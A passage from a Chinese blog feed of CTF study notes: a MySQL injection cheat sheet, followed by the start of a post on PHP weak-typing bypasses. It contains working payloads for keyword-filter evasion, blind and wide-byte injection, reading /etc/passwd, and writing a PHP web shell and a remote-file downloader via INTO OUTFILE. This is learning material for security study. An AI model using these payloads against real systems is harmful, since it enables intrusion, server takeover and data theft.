table_name FROM information_schema.columns WHERE column_name LIKE ‘%user%’;</td><td>查询字段中包含 user 的表</td></tr></tbody></table><h4 id="根据表查询包含的字段"><a class="markdownIt-Anchor" href="#根据表查询包含的字段">#</a> 根据表查询包含的字段</h4><table><thead><tr><th>SELECT column_name FROM information_schema.columns WHERE table_name = ‘Users’;</th><th>查询 user 表中的字段</th></tr></thead><tbody><tr><td>SELECT column_name FROM information_schema.columns WHERE table_name LIKE ‘%user%’;</td><td>查询包含 user 字符串表中的字段</td></tr></tbody></table><h4 id="绕过引号限制"><a class="markdownIt-Anchor" href="#绕过引号限制">#</a> 绕过引号限制</h4><table><thead><tr><th>SELECT * FROM Users WHERE username = 0x61646D696E</th><th>Hex 编码</th></tr></thead><tbody><tr><td>SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)</td><td>利用 CHAR () 函数</td></tr></tbody></table><h4 id="绕过字符串黑名单"><a class="markdownIt-Anchor" href="#绕过字符串黑名单">#</a> 绕过字符串黑名单</h4><table><thead><tr><th>SELECT ‘a’ ‘d’ ‘mi’ ‘n’;</th></tr></thead><tbody><tr><td>SELECT CONCAT(‘a’, ‘d’, ‘m’, ‘i’, ‘n’);</td></tr><tr><td>SELECT CONCAT_WS(’’, ‘a’, ‘d’, ‘m’, ‘i’, ‘n’);</td></tr><tr><td>SELECT GROUP_CONCAT(‘a’, ‘d’, ‘m’, ‘i’, ‘n’);</td></tr></tbody></table><p>使用 CONCAT () 时，任何个参数为 null，将返回 null， 推荐使用 CONCAT_WS () 。</p><p>CONCAT_WS () 函数第一个参数表示用哪个字符间隔所查询的结果。</p><h4 id="条件语句"><a class="markdownIt-Anchor" href="#条件语句">#</a> 条件语句</h4><table><thead><tr><th>CASE</th></tr></thead><tbody><tr><td>IF()</td></tr><tr><td>IFNULL()</td></tr><tr><td>NULLIF()</td></tr></tbody></table><p>例子：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SELECT IF(1&#x3D;1, true, false);SELECT CASE WHEN 1&#x3D;1 THEN true ELSE false END;</span><br></pre></td></tr></table></figure><h4 id="时间延迟查询"><a class="markdownIt-Anchor" href="#时间延迟查询">#</a> 时间延迟查询：</h4><table><thead><tr><th>SLEEP()</th><th>MySQL 5</th></tr></thead><tbody><tr><td>BENCHMARK()</td><td>MySQL 4/5</td></tr></tbody></table><p>例子：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#39; - (IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1(&#39;true&#39;)), false)) - &#39;</span><br></pre></td></tr></table></figure><h3 id="权限"><a class="markdownIt-Anchor" href="#权限">#</a> 权限</h3><h4 id="文件权限"><a class="markdownIt-Anchor" href="#文件权限">#</a> 文件权限</h4><p>下面的语句可以查询用户读写文件操作权限：</p><table><thead><tr><th>SELECT file_priv FROM mysql.user WHERE user = ‘username’;</th><th>需要 root 用户来执行</th><th>MySQL 4/5</th></tr></thead><tbody><tr><td>SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘file’ AND grantee like ‘%username%’;</td><td>普通用户都可以</td><td>MySQL 5</td></tr></tbody></table><h4 id="读取文件"><a class="markdownIt-Anchor" href="#读取文件">#</a> 读取文件</h4><p>如果用户有文件操作权限可以读取文件：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">LOAD_FILE()</span><br></pre></td></tr></table></figure><p>例子：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SELECT LOAD_FILE(&#39;&#x2F;etc&#x2F;passwd&#39;);SELECT LOAD_FILE(0x2F6574632F706173737764);</span><br></pre></td></tr></table></figure><ul><li>文件必须在服务器上。</li><li>LOAD_FILE () 函数操作文件的当前目录是 @@datadir 。</li><li>MySQL 用户必须拥有对此文件读取的权限。</li><li>文件大小必须小于 max_allowed_packet。</li><li>@@max_allowed_packet 的默认大小是 1047552 字节.</li></ul><h4 id="写文件"><a class="markdownIt-Anchor" href="#写文件">#</a> 写文件</h4><p>如果用户有文件操作权限可以写文件。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">INTO OUTFILE&#x2F;DUMPFILE</span><br></pre></td></tr></table></figure><p>写一个 php 的 shell：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SELECT &#39;&lt;? system($_GET[\&#39;c\&#39;]); ?&gt;&#39; INTO OUTFILE &#39;&#x2F;var&#x2F;www&#x2F;shell.php&#39;;</span><br></pre></td></tr></table></figure><p>访问如下链接：</p><p><a href="http://localhost/shell.php?c=cat%20/etc/passwd">http://localhost/shell.php?c=cat /etc/passwd</a></p><p>写一个下载者：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SELECT &#39;&lt;? fwrite(fopen($_GET[f], \&#39;w\&#39;), file_get_contents($_GET[u])); ?&gt;&#39; INTO OUTFILE &#39;&#x2F;var&#x2F;www&#x2F;get.php&#39;</span><br></pre></td></tr></table></figure><p>访问如下链接：</p><p><a href="http://localhost/get.php?f=shell.php&amp;u=http://localhost/c99.txt">http://localhost/get.php?f=shell.php&amp;u=http://localhost/c99.txt</a></p><ul><li>INTO OUTFILE 不可以覆盖已存在的文件。</li><li>INTO OUTFILE 必须是最后一个查询。</li><li>引号是必须的，因为没有办法可以编码路径名。</li></ul><h4 id="pdo堆查询方式操作数据库"><a class="markdownIt-Anchor" href="#pdo堆查询方式操作数据库">#</a> PDO 堆查询方式操作数据库</h4><p>PHP 使用 PDO_MYSQL 来连接数据库，便可以使用堆查询，堆查询可以同时执行多个语句。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SELECT * FROM Users WHERE ID&#x3D;1 AND 1&#x3D;0; INSERT INTO Users(username,password,priv) VALUES (&#39;BobbyTables&#39;, &#39;kl20da$$&#39;,&#39;admin&#39;);</span><br></pre></td></tr></table></figure><h4 id="mysql特有的写法"><a class="markdownIt-Anchor" href="#mysql特有的写法">#</a> MySql 特有的写法</h4><p>MySql 中，/*! SQL 语句 */ 这种格式里面的 SQL 语句会当正常的语句一样被解析。</p><p>如果在！之后是一串数字 (这串数字就是 mysql 数据库的版本号), 如：/*! 12345 SQL 语句 */</p><p>当版本号大于等于该数字，SQL 语句则执行，否则就不执行。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SELECT 1&#x2F;*!41320UNION&#x2F;*!&#x2F;*!&#x2F;*!00000SELECT&#x2F;*!&#x2F;*!USER&#x2F;*!(&#x2F;*!&#x2F;*!&#x2F;*!*&#x2F;);</span><br></pre></td></tr></table></figure><h3 id="模糊和混淆"><a class="markdownIt-Anchor" href="#模糊和混淆">#</a> 模糊和混淆</h3><h4 id="允许的字符"><a class="markdownIt-Anchor" href="#允许的字符">#</a> 允许的字符</h4><table><thead><tr><th>09</th><th>Horizontal Tab</th></tr></thead><tbody><tr><td>0A</td><td>New Line</td></tr><tr><td>0B</td><td>Vertical Tab</td></tr><tr><td>0C</td><td>New Page</td></tr><tr><td>0D</td><td>Carriage Return</td></tr><tr><td>A0</td><td>Non-breaking Space</td></tr><tr><td>20</td><td>Space</td></tr></tbody></table><p>例子：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#39;%0A%09UNION%0CSELECT%A0NULL%20%23</span><br></pre></td></tr></table></figure><p>括号也可以用来绕过过滤空格的情况：</p><table><thead><tr><th>28</th><th>(</th></tr></thead><tbody><tr><td>29</td><td>)</td></tr></tbody></table><p>例子：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">UNION(SELECT(column)FROM(table))</span><br></pre></td></tr></table></figure><h4 id="and或or后面可以跟的字符"><a class="markdownIt-Anchor" href="#and或or后面可以跟的字符">#</a> AND 或 OR 后面可以跟的字符</h4><table><thead><tr><th>20</th><th>Space</th></tr></thead><tbody><tr><td>2B</td><td>+</td></tr><tr><td>2D</td><td>-</td></tr><tr><td>7E</td><td>~</td></tr><tr><td>21</td><td>!</td></tr><tr><td>40</td><td>@</td></tr></tbody></table><p>例子：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SELECT 1 FROM dual WHERE 1&#x3D;1 AND-+-+-+-+~~((1))</span><br></pre></td></tr></table></figure><p>dual 是一个虚拟表，可以用来做测试。</p><h3 id="几个针对黑名单绕过的例子"><a class="markdownIt-Anchor" href="#几个针对黑名单绕过的例子">#</a> 几个针对黑名单绕过的例子</h3><h4 id="基于关键字的黑名单"><a class="markdownIt-Anchor" href="#基于关键字的黑名单">#</a> 基于关键字的黑名单</h4><table><thead><tr><th>过滤关键字</th><th>and or</th></tr></thead><tbody><tr><td>php 代码</td><td>preg_match(’/(and|or)/i’,$id)</td></tr><tr><td>会过滤的攻击代码</td><td>1 or 1=1 1 and 1=1</td></tr><tr><td>绕过方式</td><td>1 || 1=1 1 &amp;&amp; 1=1</td></tr></tbody></table><p>下面这种方式你需要已经知道一些表和字段名（可以利用 substring 函数去一个一个获得 information_schema.columns 表中的数据）</p><table><thead><tr><th>过滤关键字</th><th>and or union</th></tr></thead><tbody><tr><td>php 代码</td><td>preg_match(’/(and|or|union)/i’,$id)</td></tr><tr><td>会过滤的攻击代码</td><td>union select user,password from users</td></tr><tr><td>绕过方式</td><td>1 &amp;&amp; (select user from users where userid=1)=‘admin’</td></tr></tbody><tbody><tr><td>过滤关键字</td><td>and or union where</td></tr><tr><td>----------------</td><td>---------------------------------------------------------</td></tr><tr><td>php 代码</td><td>preg_match(’/(and|or|union|where)/i’,$id)</td></tr><tr><td>会过滤的攻击代码</td><td>1 &amp;&amp; (select user from users where user_id = 1) = ‘admin’</td></tr><tr><td>绕过方式</td><td>1 &amp;&amp; (select user from users limit 1) = ‘admin’</td></tr></tbody><tbody><tr><td>过滤关键字</td><td>and or union where</td></tr><tr><td>----------------</td><td>---------------------------------------------------------</td></tr><tr><td>php 代码</td><td>preg_match(’/(and|or|union|where)/i’,$id)</td></tr><tr><td>会过滤的攻击代码</td><td>1 &amp;&amp; (select user from users where user_id = 1) = ‘admin’</td></tr><tr><td>绕过方式</td><td>1 &amp;&amp; (select user from users limit 1) = ‘admin’</td></tr></tbody><tbody><tr><td>过滤关键字</td><td>and, or, union, where, limit</td></tr><tr><td>----------------</td><td>------------------------------------------------------------</td></tr><tr><td>php 代码</td><td>preg_match(’/(and|or|union|where|limit)/i’, $id)</td></tr><tr><td>会过滤的攻击代码</td><td>1 &amp;&amp; (select user from users limit 1) = ‘admin’</td></tr><tr><td>绕过方式</td><td>1 &amp;&amp; (select user from users group by user_id having user_id = 1) = ‘admin’#user_id 聚合中 user_id 为 1 的 user 为 admin</td></tr></tbody><tbody><tr><td>过滤关键字</td><td>and, or, union, where, limit, group by</td></tr><tr><td>----------------</td><td>------------------------------------------------------------</td></tr><tr><td>php 代码</td><td>preg_match(’/(and|or|union|where|limit|group by)/i’, $id)</td></tr><tr><td>会过滤的攻击代码</td><td>1 &amp;&amp; (select user from users group by user_id having user_id = 1) = ‘admin’</td></tr><tr><td>绕过方式</td><td>1 &amp;&amp; (select substr(group_concat(user_id),1,1) user from users ) = 1</td></tr></tbody><tbody><tr><td>过滤关键字</td><td>and, or, union, where, limit, group by, select</td></tr><tr><td>----------------</td><td>------------------------------------------------------------</td></tr><tr><td>php 代码</td><td>preg_match(’/(and|or|union|where|limit|group by|select)/i’, $id)</td></tr><tr><td>会过滤的攻击代码</td><td>1 &amp;&amp; (select substr(gruop_concat(user_id),1,1) user from users) = 1</td></tr><tr><td>绕过方式</td><td>1 &amp;&amp; substr(user,1,1) = ‘a’</td></tr></tbody><tbody><tr><td>过滤关键字</td><td>and, or, union, where, limit, group by, select, ’</td></tr><tr><td>----------------</td><td>------------------------------------------------------------</td></tr><tr><td>php 代码</td><td>preg_match(’/(and|or|union|where|limit|group by|select|’)/i’, $id)</td></tr><tr><td>会过滤的攻击代码</td><td>1 &amp;&amp; (select substr(gruop_concat(user_id),1,1) user from users) = 1</td></tr><tr><td>绕过方式</td><td>1 &amp;&amp; user_id is not null 1 &amp;&amp; substr(user,1,1) = 0x61 1 &amp;&amp; substr(user,1,1) = unhex(61)</td></tr></tbody><tbody><tr><td>过滤关键字</td><td>and, or, union, where, limit, group by, select, ', hex</td></tr><tr><td>----------------</td><td>------------------------------------------------------------</td></tr><tr><td>php 代码</td><td>preg_match(’/(and|or|union|where|limit|group by|select|’|hex)/i’, $id)</td></tr><tr><td>会过滤的攻击代码</td><td>1 &amp;&amp; substr(user,1,1) = unhex(61)</td></tr><tr><td>绕过方式</td><td>1 &amp;&amp; substr (user,1,1) = lower (conv (11,10,16)) #十进制的 11 转化为十六进制，并小写。</td></tr></tbody><tbody><tr><td>过滤关键字</td><td>and, or, union, where, limit, group by, select, ', hex, substr</td></tr><tr><td>----------------</td><td>------------------------------------------------------------</td></tr><tr><td>php 代码</td><td>preg_match(’/(and|or|union|where|limit|group by|select|’|hex|substr)/i’, $id)</td></tr><tr><td>会过滤的攻击代码</td><td>1 &amp;&amp; substr(user,1,1) = lower(conv(11,10,16))/td&gt;</td></tr><tr><td>绕过方式</td><td>1 &amp;&amp; lpad(user,7,1)</td></tr></tbody><tbody><tr><td>过滤关键字</td><td>and, or, union, where, limit, group by, select, ', hex, substr, 空格</td></tr><tr><td>----------------</td><td>------------------------------------------------------------</td></tr><tr><td>php 代码</td><td>preg_match(’/(and|or|union|where|limit|group by|select|’|hex|substr|\s)/i’, $id)</td></tr><tr><td>会过滤的攻击代码</td><td>1 &amp;&amp; lpad(user,7,1)/td&gt;</td></tr><tr><td>绕过方式</td><td>1%0b||%0blpad(user,7,1)</td></tr><tr><td>过滤关键字</td><td>and or union where</td></tr><tr><td>php 代码</td><td>preg_match(’/(and|or|union|where)/i’,$id)</td></tr><tr><td>会过滤的攻击代码</td><td>1 || (select user from users where user_id = 1) = ‘admin’</td></tr><tr><td>绕过方式</td><td>1 || (select user from users limit 1) = ‘admin’</td></tr></tbody></table><h4 id="利用正则表达式进行盲注"><a class="markdownIt-Anchor" href="#利用正则表达式进行盲注">#</a> 利用正则表达式进行盲注</h4><p>我们都已经知道，在 MYSQL 5 + 中 information_schema 库中存储了所有的 库名，表明以及字段名信息。故攻击方式如下：</p><p>1、判断第一个表名的第一个字符是否是 a-z 中的字符，其中 blind_sqli 是假设已知的库名。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">index.php?id&#x3D;1 and 1&#x3D;(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA&#x3D;&quot;blind_sqli&quot; AND table_name REGEXP &#39;^[a-z]&#39; LIMIT 0,1) &#x2F;*</span><br></pre></td></tr></table></figure><p>2、判断第一个字符是否是 a-n 中的字符</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">index.php?id&#x3D;1 and 1&#x3D;(SELECT 1 FROM information_schema.tables  WHERE TABLE_SCHEMA&#x3D;&quot;blind_sqli&quot; AND table_name REGEXP &#39;^[a-n]&#39; LIMIT 0,1)&#x2F;*</span><br></pre></td></tr></table></figure><p>3、确定该字符为 n</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">index.php?id&#x3D;1 and 1&#x3D;(SELECT 1 FROM information_schema.tables  WHERE TABLE_SCHEMA&#x3D;&quot;blind_sqli&quot; AND table_name REGEXP &#39;^n&#39; LIMIT 0,1) &#x2F;*</span><br></pre></td></tr></table></figure><p>4、表达式的更换如下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#39;^n[a-z]&#39; -&gt; &#39;^ne[a-z]&#39; -&gt; &#39;^new[a-z]&#39; -&gt; &#39;^news[a-z]&#39; -&gt; FALSE </span><br></pre></td></tr></table></figure><p>这时说明表名为 news ，要验证是否是该表明 正则表达式为’^news$’，但是没这必要 直接判断 table_name = ‘news’ 不就行了。</p><p>5、接下来猜解其它表了 只需要修改 limit 1,1 -&gt; limit 2,1 就可以对接下来的表进行盲注了。</p><h4 id="order-by后的注入"><a class="markdownIt-Anchor" href="#order-by后的注入">#</a> order by 后的注入</h4><p>oder by 由于是排序语句，所以可以利用条件语句做判断，根据返回的排序结果不同判断条件的真假。</p><p>一般带有 oder 或者 orderby 的变量很可能是这种注入，在知道一个字段的时候可以采用如下方式注入：</p><p>原始链接：<a href="http://www.test.com/list.php?order=vote">http://www.test.com/list.php?order=vote</a> 根据 vote 字段排序。</p><p>找到投票数最大的票数 num 然后构造以下链接：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http:&#x2F;&#x2F;www.test.com&#x2F;list.php?order&#x3D;abs(vote-(length(user())&gt;0)*num)+asc</span><br></pre></td></tr></table></figure><p>看排序是否变化。</p><p>还有一种方法不需要知道任何字段信息，使用 rand 函数：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http:&#x2F;&#x2F;www.test.com&#x2F;list.php?order&#x3D;rand(true)http:&#x2F;&#x2F;www.test.com&#x2F;list.php?order&#x3D;rand(false)</span><br></pre></td></tr></table></figure><p>以上两个会返回不同的排序，判断表名中第一个字符是否小于 128 的语句如下：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http:&#x2F;&#x2F;www.test.com&#x2F;list.php?order&#x3D;rand((select char(substring(table_name,1,1)) from information_schema.tables limit 1)&lt;&#x3D;128))</span><br></pre></td></tr></table></figure><h4 id="宽字节注入"><a class="markdownIt-Anchor" href="#宽字节注入">#</a> 宽字节注入</h4><p>sql 注入中的宽字节国内最常使用的 gbk 编码，这种方式主要是绕过 addslashes 等对特殊字符进行转移的绕过。反斜杠 () 的十六进制为 %5c，在你输入 % bf%27 时，函数遇到单引号自动转移加入 \，此时变为 % bf%5c%27，% bf%5c 在 gbk 中变为一个宽字符 “縗”。% bf 那个位置可以是 %81-% fe 中间的任何字符。不止在 sql 注入中，宽字符注入在很多地方都可以应用。</p>]]></content>
    
    
      
      
        
        
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;/assets/css/APlayer.min.css&quot;&gt;&lt;script src=&quot;/assets/js/APlayer.min.js&quot;</summary>
        
      
    
    
    
    <category term="ctf" scheme="http://www.cclss.top/categories/ctf/"/>
    
    
    <category term="ctf" scheme="http://www.cclss.top/tags/ctf/"/>
    
  </entry>
  
  <entry>
    <title>php知识</title>
    <link href="http://www.cclss.top/post/phpall/"/>
    <id>http://www.cclss.top/post/phpall/</id>
    <published>2021-05-01T05:16:18.000Z</published>
    <updated>2021-05-01T05:16:18.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><h2 id="系统变量"><a class="markdownIt-Anchor" href="#系统变量">#</a> <strong>系统变量</strong></h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$_POST</span> <span class="comment">// 获取 post 数据，是一个字典</span></span><br><span class="line"><span class="variable">$_GET</span> <span class="comment">// 获取 get 数据，是一个字典</span></span><br><span class="line"><span class="variable">$_COOKIE</span> <span class="comment">// 获取 cookie</span></span><br><span class="line"><span class="variable">$_SESSION</span> <span class="comment">// 获取 session</span></span><br><span class="line"><span class="variable">$_FILE</span> <span class="comment">// 获取上传的文件</span></span><br><span class="line"><span class="variable">$_REQUEST</span> <span class="comment">// 获取 $_GET，$_POST，$_COOKIE 中的数据</span></span><br></pre></td></tr></table></figure><h2 id="错误控制运算符"><a class="markdownIt-Anchor" href="#错误控制运算符">#</a> <strong>错误控制运算符</strong></h2><p>PHP 支持一个错误控制运算符：@。当将其放置在一个 PHP 表达式之前，该表达式可能产生的任何错误信息都被忽略掉。</p><h2 id="变量默认值"><a class="markdownIt-Anchor" href="#变量默认值">#</a> <strong>变量默认值</strong></h2><p>当定义一个变量，如果没有设置值，默认为 0</p><h2 id="_get-和-_post"><a class="markdownIt-Anchor" href="#_get-和-_post">#</a> <strong>$_GET 和 $_POST</strong></h2><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://ctf4.shiyanbar.com/web/false.php?name[]=a&amp;password[]=b</span><br></pre></td></tr></table></figure><p>如果 GET 参数中设置  <code>name[]=a</code> ，那么  <code>$_GET['name'] = [a]</code> ，php 会把  <code>[]=a</code>  当成数组传入，  <code>$_GET</code>  会自动对参数调用  <code>urldecode</code> 。</p><p><code>$_POST</code>  同样存在此漏洞，提交的表单数据， <code>user[]=admin</code> ， <code>$_POST['user']</code>  得到的是  <code>['admin']</code>  是一个数组。</p><h2 id="内置函数的松散性"><a class="markdownIt-Anchor" href="#内置函数的松散性">#</a> <strong>内置函数的松散性</strong></h2><p><strong>strcmp</strong></p><p>strcmp 函数的输出含义如下:</p><blockquote><p>如果 str1 小于 str2 返回 &lt; 0；<br>如果 str1 大于 str2 返回 &gt; 0；<br>如果两者相等，返回 0。</p></blockquote><ul><li>5.2 中是将两个参数先转换成 string 类型。</li><li>5.3.3 以后，当比较数组和字符串的时候，返回是 0。</li><li>5.5 中如果参数不是 string 类型，直接 return 了</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$array</span>=[<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>];</span><br><span class="line"><span class="comment">// 数组跟字符串比较会返回 0</span></span><br><span class="line"><span class="comment">//这里会输出 null，在某种意义上 null 也就是相当于 false，也就是判断为相等</span></span><br><span class="line">var_dump(strcmp(<span class="variable">$array</span>, <span class="string">&#x27;abc&#x27;</span>)); </span><br></pre></td></tr></table></figure><p><strong>sha1 和 md5 函数</strong></p><p>md5 和 sha1 无法处理数组，但是 php 没有抛出异常，直接返回 fasle</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">sha1([]) === <span class="literal">false</span></span><br><span class="line">md5([]) === <span class="literal">false</span></span><br></pre></td></tr></table></figure><p><strong>弱类型</strong></p><p>当一个整形和一个其他类型行比较的时候，会先把其他类型  <code>intval</code>  再比较</p><p><strong>intval</strong></p><p>intval () 在转换的时候，会从字符串的开始进行转换直到遇到一个非数字的字符。即使出现无法转换的字符串，intval () 不会报错而是返回 0。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">var_dump(intval(<span class="string">&#x27;2&#x27;</span>)) <span class="comment">// 2</span></span><br><span class="line">var_dump(intval(<span class="string">&#x27;3abcd&#x27;</span>)) <span class="comment">// 3 </span></span><br><span class="line">var_dump(intval(<span class="string">&#x27;abcd&#x27;</span>)) <span class="comment">// 0 </span></span><br></pre></td></tr></table></figure><p>这个时候  <code>$a</code>  的值有可能是  <code>1002 union…</code></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span>(intval(<span class="variable">$a</span>) &gt; <span class="number">1000</span>) &#123; </span><br><span class="line">    mysql_query(<span class="string">&quot;select * from news where id=&quot;</span>.<span class="variable">$a</span>) </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>is_numeric</strong></p><p>PHP 提供了 is_numeric 函数，用来变量判断是否为数字。但是函数的范围比较广泛，不仅仅是十进制的数字。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">echo</span> is_numeric(<span class="number">233333</span>);       <span class="comment">// 1</span></span><br><span class="line"><span class="keyword">echo</span> is_numeric(<span class="string">&#x27;233333&#x27;</span>);    <span class="comment">// 1</span></span><br><span class="line"><span class="keyword">echo</span> is_numeric(<span class="number">0x233333</span>);    <span class="comment">// 1</span></span><br><span class="line"><span class="keyword">echo</span> is_numeric(<span class="string">&#x27;0x233333&#x27;</span>);   <span class="comment">// 1</span></span><br><span class="line"><span class="keyword">echo</span> is_numeric(<span class="string">&#x27;233333abc&#x27;</span>);  <span class="comment">// 0</span></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p><strong>in_array</strong></p><p>in_array 函数用来判断一个值是否在某一个数组列表里面，通常判断方式如下：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">in_array(<span class="string">&#x27;b&#x27;</span>, <span class="keyword">array</span>(<span class="string">&#x27;a&#x27;</span>, <span class="string">&#x27;b&#x27;</span>, <span class="string">&#x27;c&#x27;</span>);</span><br></pre></td></tr></table></figure><p>这段代码的作用是过滤 GET 参数 typeid 在不在 1，2，3，4 这个数组里面。但是，in_array 函数存在自动类型转换。如果请求， <code>typeid=1’ union select..</code>  也能通过 in_array 的验证</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (in_array(<span class="variable">$_GET</span>(<span class="string">&#x27;typeid&#x27;</span>], <span class="keyword">array</span>(<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>))) &#123;</span><br><span class="line">    <span class="variable">$sql</span>=<span class="string">&quot;select …. where typeid=&quot;</span>.<span class="variable">$_GET</span>[<span class="string">&#x27;typeid&#x27;</span>]<span class="string">&quot;;</span></span><br><span class="line"><span class="string">    echo <span class="subst">$sql</span>;</span></span><br><span class="line"><span class="string">&#125;</span></span><br></pre></td></tr></table></figure><p><strong>== 和 ===</strong></p><ul><li><code>==</code>  是弱类型的比较</li><li><code>===</code>  比较符则可以避免这种隐式转换，除了检查值还检查类型。</li></ul><p>以下比较的结果都为 true</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 0x 开头会被当成16进制54975581388的16进制为 0xccccccccc</span></span><br><span class="line"><span class="comment">// 十六进制与整数，被转换为同一进制比较</span></span><br><span class="line"><span class="string">&#x27;0xccccccccc&#x27;</span> == <span class="string">&#x27;54975581388&#x27;</span> </span><br><span class="line"></span><br><span class="line"><span class="comment">// 字符串在与数字比较前会自动转换为数字，如果不能转换为数字会变成0</span></span><br><span class="line"><span class="number">1</span> == <span class="string">&#x27;1&#x27;</span></span><br><span class="line"><span class="number">1</span> == <span class="string">&#x27;01&#x27;</span></span><br><span class="line"><span class="number">10</span> == <span class="string">&#x27;1e1&#x27;</span></span><br><span class="line"><span class="number">100</span> == <span class="string">&#x27;1e2&#x27;</span> </span><br><span class="line"><span class="number">0</span> == <span class="string">&#x27;a&#x27;</span> <span class="comment">// a 转换为数字为 0</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 十六进制数与带空格十六进制数，被转换为十六进制整数</span></span><br><span class="line"><span class="string">&#x27;0xABCdef&#x27;</span> == <span class="string">&#x27;     0xABCdef&#x27;</span></span><br><span class="line"><span class="string">&#x27;0010e2&#x27;</span> == <span class="string">&#x27;1e3&#x27;</span></span><br></pre></td></tr></table></figure><p><strong>hash 比较的问题</strong></p><p>0e 开头且后面都是数字会被当作科学计数法，也就是等于 0*10^xxx=0。如果 md5 是以 0e 开头，在做比较的时候，可以用这种方法绕过。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// &#x27;0e5093234&#x27; 为 0，&#x27;0eabc3234&#x27; 不为 0</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// true</span></span><br><span class="line"><span class="string">&#x27;0e509367213418206700842008763514&#x27;</span> == <span 